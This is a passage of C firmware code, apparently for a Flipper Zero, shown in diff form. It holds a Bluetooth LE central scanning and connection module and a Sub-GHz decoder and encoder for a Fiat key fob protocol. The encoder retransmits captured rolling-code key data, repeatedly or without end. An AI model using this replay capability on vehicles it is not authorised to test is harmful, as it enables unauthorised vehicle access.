||||
if(field_type == AD_TYPE_COMPLETE_LOCAL_NAME ||
|
||||
field_type == AD_TYPE_SHORTENED_LOCAL_NAME) {
|
||||
uint8_t name_len = field_len - 1;
|
||||
if(name_len > 31) name_len = 31;
|
||||
memcpy(device->name, &data_ptr[pos + 2], name_len);
|
||||
device->name[name_len] = '\0';
|
||||
break;
|
||||
}
|
||||
pos += field_len + 1;
|
||||
}
|
||||
|
||||
return device;
|
||||
}
|
||||
|
||||
static BleEventAckStatus ble_central_event_handler(void* event, void* context) {
|
||||
UNUSED(context);
|
||||
if(!ble_central || !ble_central->callback) return BleEventNotAck;
|
||||
|
||||
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data);
|
||||
|
||||
FURI_LOG_I(TAG, "HCI event: evt=0x%02X", event_pckt->evt);
|
||||
|
||||
if(event_pckt->evt == HCI_LE_META_EVT_CODE) {
|
||||
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
|
||||
FURI_LOG_I(TAG, "LE Meta event: subevent=0x%02X", meta_evt->subevent);
|
||||
|
||||
if(meta_evt->subevent == HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) {
|
||||
BleCentralAdvertisedDevice* device = ble_central_parse_advert_report(event);
|
||||
if(device) {
|
||||
FURI_LOG_I(TAG, "Device found: %s [%02X:%02X:%02X:%02X:%02X:%02X] rssi=%d",
|
||||
device->name,
|
||||
device->address[0], device->address[1], device->address[2],
|
||||
device->address[3], device->address[4], device->address[5],
|
||||
device->rssi);
|
||||
ble_central->callback(BleCentralEventDeviceFound, device, ble_central->context);
|
||||
free(device);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
}
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) {
|
||||
evt_blecore_aci* blue_evt = (evt_blecore_aci*)event_pckt->data;
|
||||
FURI_LOG_I(TAG, "Vendor event: ecode=0x%04X", blue_evt->ecode);
|
||||
if(blue_evt->ecode == ACI_GAP_PROC_COMPLETE_VSEVT_CODE) {
|
||||
FURI_LOG_I(TAG, "GAP procedure complete");
|
||||
ble_central->scanning = false;
|
||||
ble_central->callback(BleCentralEventGattProcComplete, NULL, ble_central->context);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
if(event_pckt->evt == HCI_DISCONNECTION_COMPLETE_EVT_CODE) {
|
||||
FURI_LOG_W(TAG, "Disconnection complete (handle=0x%04X)", ble_central->connection_handle);
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
ble_central->callback(BleCentralEventDisconnected, NULL, ble_central->context);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
static void ble_central_free(void) {
|
||||
if(!ble_central) return;
|
||||
if(ble_central->handler_ref) {
|
||||
ble_event_dispatcher_unregister_svc_handler(ble_central->handler_ref);
|
||||
}
|
||||
free(ble_central);
|
||||
ble_central = NULL;
|
||||
}
|
||||
|
||||
bool ble_central_scan_start(BleCentralEventCallback callback, void* context) {
|
||||
furi_check(callback != NULL);
|
||||
furi_check(context != NULL);
|
||||
|
||||
if(ble_central) {
|
||||
FURI_LOG_W(TAG, "scan_start: already initialized, cleaning up previous instance");
|
||||
ble_central_free();
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "ble_central_scan_start: callback=%p ctx=%p", callback, context);
|
||||
|
||||
ble_central = malloc(sizeof(BleCentral));
|
||||
ble_central->callback = callback;
|
||||
ble_central->context = context;
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
ble_central->scanning = false;
|
||||
|
||||
ble_central->handler_ref =
|
||||
ble_event_dispatcher_register_svc_handler(ble_central_event_handler, ble_central);
|
||||
if(!ble_central->handler_ref) {
|
||||
FURI_LOG_E(TAG, "ble_event_dispatcher_register_svc_handler FAILED");
|
||||
ble_central_free();
|
||||
return false;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Event handler registered: %p", ble_central->handler_ref);
|
||||
|
||||
FURI_LOG_I(TAG,
|
||||
"Calling aci_gap_start_general_discovery_proc(interval=0x%04X, window=0x%04X, addr_type=0x%02X, filter=0x%02X)",
|
||||
BLE_CENTRAL_SCAN_INTERVAL, BLE_CENTRAL_SCAN_WINDOW, 0x00, 0x00);
|
||||
|
||||
tBleStatus status = aci_gap_start_general_discovery_proc(
|
||||
BLE_CENTRAL_SCAN_INTERVAL,
|
||||
BLE_CENTRAL_SCAN_WINDOW,
|
||||
0x00,
|
||||
0x00);
|
||||
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gap_start_general_discovery_proc FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
ble_central_free();
|
||||
return false;
|
||||
}
|
||||
|
||||
ble_central->scanning = true;
|
||||
FURI_LOG_I(TAG, "Scan started successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_scan_stop(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_W(TAG, "scan_stop: not initialized");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(ble_central->scanning) {
|
||||
FURI_LOG_I(TAG, "Stopping scan (terminating GAP discovery proc)");
|
||||
tBleStatus status = aci_gap_terminate_gap_proc(GAP_GENERAL_DISCOVERY_PROC);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_W(TAG, "aci_gap_terminate_gap_proc returned 0x%02X (%s) — may have already completed",
|
||||
status, ble_central_status_str(status));
|
||||
}
|
||||
ble_central->scanning = false;
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "scan_stop: GAP proc already completed, cleaning up");
|
||||
}
|
||||
|
||||
ble_central_free();
|
||||
FURI_LOG_I(TAG, "Scan stopped");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_connect(const uint8_t* address, uint8_t address_type) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "connect: ble_central is NULL (not initialized)");
|
||||
return false;
|
||||
}
|
||||
if(ble_central->connected) {
|
||||
FURI_LOG_W(TAG, "connect: already connected (handle=0x%04X)", ble_central->connection_handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Connecting to %02X:%02X:%02X:%02X:%02X:%02X type=%d",
|
||||
address[0], address[1], address[2], address[3], address[4], address[5], address_type);
|
||||
|
||||
tBleStatus status = aci_gap_create_connection(
|
||||
0x100, 0x50,
|
||||
address_type,
|
||||
address,
|
||||
0x00,
|
||||
0x28, 0x38,
|
||||
0x00, 0x100,
|
||||
0x0010, 0x0010);
|
||||
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gap_create_connection FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Connection initiated, waiting for HCI_LE_CONNECTION_COMPLETE");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_disconnect(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "disconnect: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_W(TAG, "disconnect: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Disconnecting handle=0x%04X reason=0x13", ble_central->connection_handle);
|
||||
tBleStatus status = hci_disconnect(ble_central->connection_handle, 0x13);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "hci_disconnect FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_discover_services(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "discover_services: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "discover_services: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Discovering primary services on handle=0x%04X",
|
||||
ble_central->connection_handle);
|
||||
tBleStatus status = aci_gatt_disc_all_primary_services(ble_central->connection_handle);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_disc_all_primary_services FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "write_command: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "write_command: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Write without response: handle=0x%04X len=%u", handle, len);
|
||||
tBleStatus status = aci_gatt_write_without_resp(
|
||||
ble_central->connection_handle, handle, len, data);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_write_without_resp FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "write_request: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "write_request: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Write with response: handle=0x%04X len=%u", handle, len);
|
||||
tBleStatus status = aci_gatt_write_char_value(
|
||||
ble_central->connection_handle, handle, len, data);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_write_char_value FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
uint16_t ble_central_get_connection_handle(void) {
|
||||
if(!ble_central) return 0;
|
||||
return ble_central->connection_handle;
|
||||
}
|
||||
|
||||
bool ble_central_is_connected(void) {
|
||||
if(!ble_central) return false;
|
||||
return ble_central->connected;
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
BleCentralEventDeviceFound,
|
||||
BleCentralEventConnected,
|
||||
BleCentralEventDisconnected,
|
||||
BleCentralEventGattProcComplete,
|
||||
BleCentralEventDataReceived,
|
||||
} BleCentralEventType;
|
||||
|
||||
typedef struct {
|
||||
uint8_t address[6];
|
||||
uint8_t address_type;
|
||||
char name[32];
|
||||
int8_t rssi;
|
||||
} BleCentralAdvertisedDevice;
|
||||
|
||||
typedef struct {
|
||||
uint16_t handle;
|
||||
uint8_t data[256];
|
||||
uint16_t len;
|
||||
} BleCentralGattData;
|
||||
|
||||
typedef void (*BleCentralEventCallback)(BleCentralEventType event, void* data, void* context);
|
||||
|
||||
bool ble_central_scan_start(BleCentralEventCallback callback, void* context);
|
||||
bool ble_central_scan_stop(void);
|
||||
bool ble_central_connect(const uint8_t* address, uint8_t address_type);
|
||||
bool ble_central_disconnect(void);
|
||||
bool ble_central_discover_services(void);
|
||||
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len);
|
||||
bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len);
|
||||
uint16_t ble_central_get_connection_handle(void);
|
||||
bool ble_central_is_connected(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,582 @@
|
||||
#include "fiat_v0.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
|
||||
#define TAG "FiatProtocolV0"
|
||||
#define FIAT_V0_PREAMBLE_PAIRS 150
|
||||
#define FIAT_V0_GAP_US 800
|
||||
#define FIAT_V0_TOTAL_BURSTS 3
|
||||
#define FIAT_V0_INTER_BURST_GAP 25000
|
||||
#define FIAT_V0_UPLOAD_CAPACITY 1328U
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_fiat_v0_const = {
|
||||
.te_short = 200,
|
||||
.te_long = 400,
|
||||
.te_delta = 100,
|
||||
.min_count_bit_for_found = 64,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderFiatV0 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
ManchesterState manchester_state;
|
||||
uint16_t preamble_count;
|
||||
uint32_t data_low;
|
||||
uint32_t data_high;
|
||||
uint8_t bit_count;
|
||||
uint32_t hop;
|
||||
uint32_t fix;
|
||||
uint8_t endbyte;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
FiatV0DecoderStepReset = 0,
|
||||
FiatV0DecoderStepPreamble = 1,
|
||||
FiatV0DecoderStepData = 2,
|
||||
} FiatV0DecoderStep;
|
||||
|
||||
static void fiat_v0_finish_packet(struct SubGhzProtocolDecoderFiatV0* instance) {
|
||||
instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
|
||||
instance->generic.data_count_bit = 71;
|
||||
instance->generic.serial = instance->fix;
|
||||
instance->generic.btn = instance->endbyte;
|
||||
instance->generic.cnt = instance->hop;
|
||||
instance->decoder.decode_data = instance->generic.data;
|
||||
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
|
||||
if(instance->base.callback) instance->base.callback(&instance->base, instance->base.context);
|
||||
instance->data_low = 0;
|
||||
instance->data_high = 0;
|
||||
instance->bit_count = 0;
|
||||
instance->decoder.parser_step = FiatV0DecoderStepReset;
|
||||
}
|
||||
|
||||
struct SubGhzProtocolEncoderFiatV0 {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint32_t hop;
|
||||
uint32_t fix;
|
||||
uint8_t endbyte;
|
||||
};
|
||||
|
||||
static void subghz_protocol_decoder_fiat_v0_free(void* context) {
|
||||
furi_assert(context);
|
||||
free(context);
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_fiat_v0_decoder = {
|
||||
.alloc = subghz_protocol_decoder_fiat_v0_alloc,
|
||||
.free = subghz_protocol_decoder_fiat_v0_free,
|
||||
.feed = subghz_protocol_decoder_fiat_v0_feed,
|
||||
.reset = subghz_protocol_decoder_fiat_v0_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_fiat_v0_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_fiat_v0_serialize,
|
||||
.deserialize = subghz_protocol_decoder_fiat_v0_deserialize,
|
||||
.get_string = subghz_protocol_decoder_fiat_v0_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_fiat_v0_encoder = {
|
||||
.alloc = subghz_protocol_encoder_fiat_v0_alloc,
|
||||
.free = subghz_protocol_encoder_fiat_v0_free,
|
||||
.deserialize = subghz_protocol_encoder_fiat_v0_deserialize,
|
||||
.stop = subghz_protocol_encoder_fiat_v0_stop,
|
||||
.yield = subghz_protocol_encoder_fiat_v0_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol fiat_protocol_v0 = {
|
||||
.name = FIAT_PROTOCOL_V0_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_fiat_v0_decoder,
|
||||
.encoder = &subghz_protocol_fiat_v0_encoder,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// ENCODER IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatV0));
|
||||
furi_check(instance);
|
||||
|
||||
instance->base.protocol = &fiat_protocol_v0;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 10;
|
||||
instance->encoder.size_upload = 0;
|
||||
instance->encoder.upload = NULL;
|
||||
instance->encoder.is_running = false;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_fiat_v0_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV0* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static void subghz_protocol_encoder_fiat_v0_get_upload(SubGhzProtocolEncoderFiatV0* instance) {
|
||||
furi_check(instance);
|
||||
LevelDuration* up = instance->encoder.upload;
|
||||
if(up == NULL) return;
|
||||
|
||||
size_t index = 0;
|
||||
uint32_t te_short = subghz_protocol_fiat_v0_const.te_short;
|
||||
uint32_t te_long = subghz_protocol_fiat_v0_const.te_long;
|
||||
|
||||
uint64_t data = ((uint64_t)instance->hop << 32) | instance->fix;
|
||||
uint8_t endbyte_to_send = instance->endbyte >> 1;
|
||||
|
||||
for(uint8_t burst = 0; burst < FIAT_V0_TOTAL_BURSTS; burst++) {
|
||||
if(burst > 0) {
|
||||
up[index++] = level_duration_make(false, FIAT_V0_INTER_BURST_GAP);
|
||||
}
|
||||
|
||||
for(int i = 0; i < FIAT_V0_PREAMBLE_PAIRS; i++) {
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
}
|
||||
if(index > 0) up[index - 1] = level_duration_make(false, FIAT_V0_GAP_US);
|
||||
|
||||
bool first_bit = (data >> 63) & 1;
|
||||
if(first_bit) {
|
||||
up[index++] = level_duration_make(true, te_long);
|
||||
} else {
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
up[index++] = level_duration_make(false, te_long);
|
||||
}
|
||||
bool prev_bit = first_bit;
|
||||
|
||||
for(int bit = 62; bit >= 0; bit--) {
|
||||
bool curr_bit = (data >> bit) & 1;
|
||||
if(!prev_bit && !curr_bit) {
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
} else if(!prev_bit && curr_bit) {
|
||||
up[index++] = level_duration_make(true, te_long);
|
||||
} else if(prev_bit && !curr_bit) {
|
||||
up[index++] = level_duration_make(false, te_long);
|
||||
} else {
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
}
|
||||
prev_bit = curr_bit;
|
||||
}
|
||||
|
||||
for(int bit = 5; bit >= 0; bit--) {
|
||||
bool curr_bit = (endbyte_to_send >> bit) & 1;
|
||||
if(!prev_bit && !curr_bit) {
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
} else if(!prev_bit && curr_bit) {
|
||||
up[index++] = level_duration_make(true, te_long);
|
||||
} else if(prev_bit && !curr_bit) {
|
||||
up[index++] = level_duration_make(false, te_long);
|
||||
} else {
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
up[index++] = level_duration_make(true, te_short);
|
||||
}
|
||||
prev_bit = curr_bit;
|
||||
}
|
||||
|
||||
if(prev_bit) {
|
||||
up[index++] = level_duration_make(false, te_short);
|
||||
}
|
||||
up[index++] = level_duration_make(false, te_short * 8);
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_fiat_v0_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderFiatV0* instance = context;
|
||||
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
|
||||
do {
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t temp_data = 0;
|
||||
if(!flipper_format_read_uint32(flipper_format, "Bit", &temp_data, 1)) {
|
||||
break;
|
||||
}
|
||||
if(temp_data != 64 && temp_data != 71) {
|
||||
break;
|
||||
}
|
||||
instance->generic.data_count_bit = temp_data;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint8_t key_bytes[8];
|
||||
if(!flipper_format_read_hex(flipper_format, "Key", key_bytes, 8)) {
|
||||
break;
|
||||
}
|
||||
uint64_t key = 0;
|
||||
for(int i = 0; i < 8; i++) {
|
||||
key = (key << 8) | key_bytes[i];
|
||||
}
|
||||
instance->generic.data = key;
|
||||
instance->hop = (uint32_t)(key >> 32);
|
||||
instance->fix = (uint32_t)(key & 0xFFFFFFFFU);
|
||||
|
||||
uint32_t eb_read = 0;
|
||||
flipper_format_rewind(flipper_format);
|
||||
bool have_endbyte = flipper_format_read_uint32(flipper_format, "EndByte", &eb_read, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t btn_u32 = 0;
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &btn_u32, 1);
|
||||
|
||||
if(have_endbyte) {
|
||||
instance->endbyte = (uint8_t)(eb_read & 0x7FU);
|
||||
} else {
|
||||
instance->endbyte = (uint8_t)(btn_u32 & 0x7FU);
|
||||
}
|
||||
|
||||
instance->generic.btn = instance->endbyte;
|
||||
instance->generic.cnt = instance->hop;
|
||||
instance->generic.serial = instance->fix;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t repeat = 10;
|
||||
flipper_format_read_uint32(flipper_format, "Repeat", &repeat, 1);
|
||||
instance->encoder.repeat = repeat;
|
||||
|
||||
instance->encoder.upload = malloc(FIAT_V0_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
subghz_protocol_encoder_fiat_v0_get_upload(instance);
|
||||
instance->encoder.is_running = true;
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return SubGhzProtocolStatusError;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_fiat_v0_stop(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV0* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_fiat_v0_yield(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFiatV0* instance = context;
|
||||
|
||||
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
|
||||
instance->encoder.size_upload == 0) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
// ============================================================================
|
||||
// DECODER IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
void* subghz_protocol_decoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolDecoderFiatV0));
|
||||
furi_check(instance);
|
||||
instance->base.protocol = &fiat_protocol_v0;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v0_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
instance->decoder.parser_step = FiatV0DecoderStepReset;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->preamble_count = 0;
|
||||
instance->data_low = 0;
|
||||
instance->data_high = 0;
|
||||
instance->bit_count = 0;
|
||||
instance->hop = 0;
|
||||
instance->fix = 0;
|
||||
instance->endbyte = 0;
|
||||
instance->manchester_state = ManchesterStateMid1;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_fiat_v0_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderFiatV0* instance = context;
|
||||
|
||||
uint32_t te_short = (uint32_t)subghz_protocol_fiat_v0_const.te_short;
|
||||
uint32_t te_long = (uint32_t)subghz_protocol_fiat_v0_const.te_long;
|
||||
uint32_t te_delta = (uint32_t)subghz_protocol_fiat_v0_const.te_delta;
|
||||
uint32_t gap_threshold = FIAT_V0_GAP_US;
|
||||
uint32_t diff;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case FiatV0DecoderStepReset:
|
||||
if(!level) return;
|
||||
if(duration < te_short) {
|
||||
diff = te_short - duration;
|
||||
} else {
|
||||
diff = duration - te_short;
|
||||
}
|
||||
if(diff < te_delta) {
|
||||
instance->data_low = 0;
|
||||
instance->data_high = 0;
|
||||
instance->decoder.parser_step = FiatV0DecoderStepPreamble;
|
||||
instance->preamble_count = 0;
|
||||
instance->bit_count = 0;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_state,
|
||||
NULL);
|
||||
}
|
||||
break;
|
||||
|
||||
case FiatV0DecoderStepPreamble:
|
||||
if(level) {
|
||||
if(duration < te_short) {
|
||||
diff = te_short - duration;
|
||||
} else {
|
||||
diff = duration - te_short;
|
||||
}
|
||||
if(diff < te_delta) {
|
||||
instance->preamble_count++;
|
||||
} else {
|
||||
instance->decoder.parser_step = FiatV0DecoderStepReset;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(duration < te_short) {
|
||||
diff = te_short - duration;
|
||||
} else {
|
||||
diff = duration - te_short;
|
||||
}
|
||||
|
||||
if(diff < te_delta) {
|
||||
instance->preamble_count++;
|
||||
} else {
|
||||
if(instance->preamble_count >= FIAT_V0_PREAMBLE_PAIRS) {
|
||||
if(duration < gap_threshold) {
|
||||
diff = gap_threshold - duration;
|
||||
} else {
|
||||
diff = duration - gap_threshold;
|
||||
}
|
||||
if(diff < te_delta) {
|
||||
instance->decoder.parser_step = FiatV0DecoderStepData;
|
||||
instance->preamble_count = 0;
|
||||
instance->data_low = 0;
|
||||
instance->data_high = 0;
|
||||
instance->bit_count = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_state,
|
||||
NULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
instance->decoder.parser_step = FiatV0DecoderStepReset;
|
||||
}
|
||||
|
||||
if(instance->preamble_count >= FIAT_V0_PREAMBLE_PAIRS &&
|
||||
instance->decoder.parser_step == FiatV0DecoderStepPreamble) {
|
||||
if(duration < gap_threshold) {
|
||||
diff = gap_threshold - duration;
|
||||
} else {
|
||||
diff = duration - gap_threshold;
|
||||
}
|
||||
if(diff < te_delta) {
|
||||
instance->decoder.parser_step = FiatV0DecoderStepData;
|
||||
instance->preamble_count = 0;
|
||||
instance->data_low = 0;
|
||||
instance->data_high = 0;
|
||||
instance->bit_count = 0;
|
||||
manchester_advance(
|
||||
instance->manchester_state,
|
||||
ManchesterEventReset,
|
||||
&instance->manchester_state,
|
||||
NULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case FiatV0DecoderStepData: {
|
||||
ManchesterEvent event = ManchesterEventReset;
|
||||
if(duration < te_short) {
|
||||
diff = te_short - duration;
|
||||
if(diff < te_delta) {
|
||||
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
|
||||
}
|
||||
} else {
|
||||
diff = duration - te_short;
|
||||
if(diff < te_delta) {
|
||||
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
|
||||
} else {
|
||||
if(duration < te_long) {
|
||||
diff = te_long - duration;
|
||||
} else {
|
||||
diff = duration - te_long;
|
||||
}
|
||||
if(diff < te_delta) {
|
||||
event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(event != ManchesterEventReset) {
|
||||
bool data_bit_bool;
|
||||
if(manchester_advance(
|
||||
instance->manchester_state,
|
||||
event,
|
||||
&instance->manchester_state,
|
||||
&data_bit_bool)) {
|
||||
uint32_t new_bit = data_bit_bool ? 1 : 0;
|
||||
uint32_t carry = (instance->data_low >> 31) & 1;
|
||||
instance->data_low = (instance->data_low << 1) | new_bit;
|
||||
instance->data_high = (instance->data_high << 1) | carry;
|
||||
instance->bit_count++;
|
||||
|
||||
if(instance->bit_count == 64) {
|
||||
instance->fix = instance->data_low;
|
||||
instance->hop = instance->data_high;
|
||||
instance->data_low = 0;
|
||||
